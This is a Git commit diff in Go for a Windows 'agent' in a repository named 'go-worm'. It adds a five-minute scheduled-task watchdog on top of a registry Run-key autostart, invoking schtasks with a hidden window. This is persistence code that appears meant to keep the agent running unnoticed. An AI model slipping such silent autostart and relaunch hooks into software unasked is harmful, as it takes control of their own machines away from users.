feat(agent): add crash logs and watchdog startup
- Recover panics to disk for diagnostics - Add 5-minute watchdog task with startup - Add -ensure flag to start detached agent - Add script to pull remote folder via API
This commit is contained in:
@@ -28,7 +28,10 @@ func Enable() error {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(config.StartupValueName, command)
|
||||
if err := k.SetStringValue(config.StartupValueName, command); err != nil {
|
||||
return err
|
||||
}
|
||||
return enableWatchdog()
|
||||
}
|
||||
|
||||
// SyncInstalledPath rewrites an existing Run entry to the AppData install path.
|
||||
@@ -50,9 +53,13 @@ func Disable() error {
|
||||
defer k.Close()
|
||||
err = k.DeleteValue(config.StartupValueName)
|
||||
if errors.Is(err, registry.ErrNotExist) {
|
||||
_ = disableWatchdog()
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return disableWatchdog()
|
||||
}
|
||||
|
||||
func installedCommandLine() (string, error) {
|
||||
|
||||
@@ -0,0 +1,43 @@
|
||||
package startup
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
)
|
||||
|
||||
func enableWatchdog() error {
|
||||
exe, err := config.InstalledExe()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tr := fmt.Sprintf(`"%s" -ensure`, exe)
|
||||
return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/SC", "MINUTE", "/MO", "5", "/TR", tr, "/F")
|
||||
}
|
||||
|
||||
func disableWatchdog() error {
|
||||
err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F")
|
||||
if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func runSchtasks(args ...string) error {
|
||||
cmd := exec.Command("schtasks", args...)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
msg := strings.TrimSpace(string(out))
|
||||
if msg == "" {
|
||||
msg = err.Error()
|
||||
}
|
||||
return fmt.Errorf("schtasks: %s", msg)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
Reference in New Issue
Block a user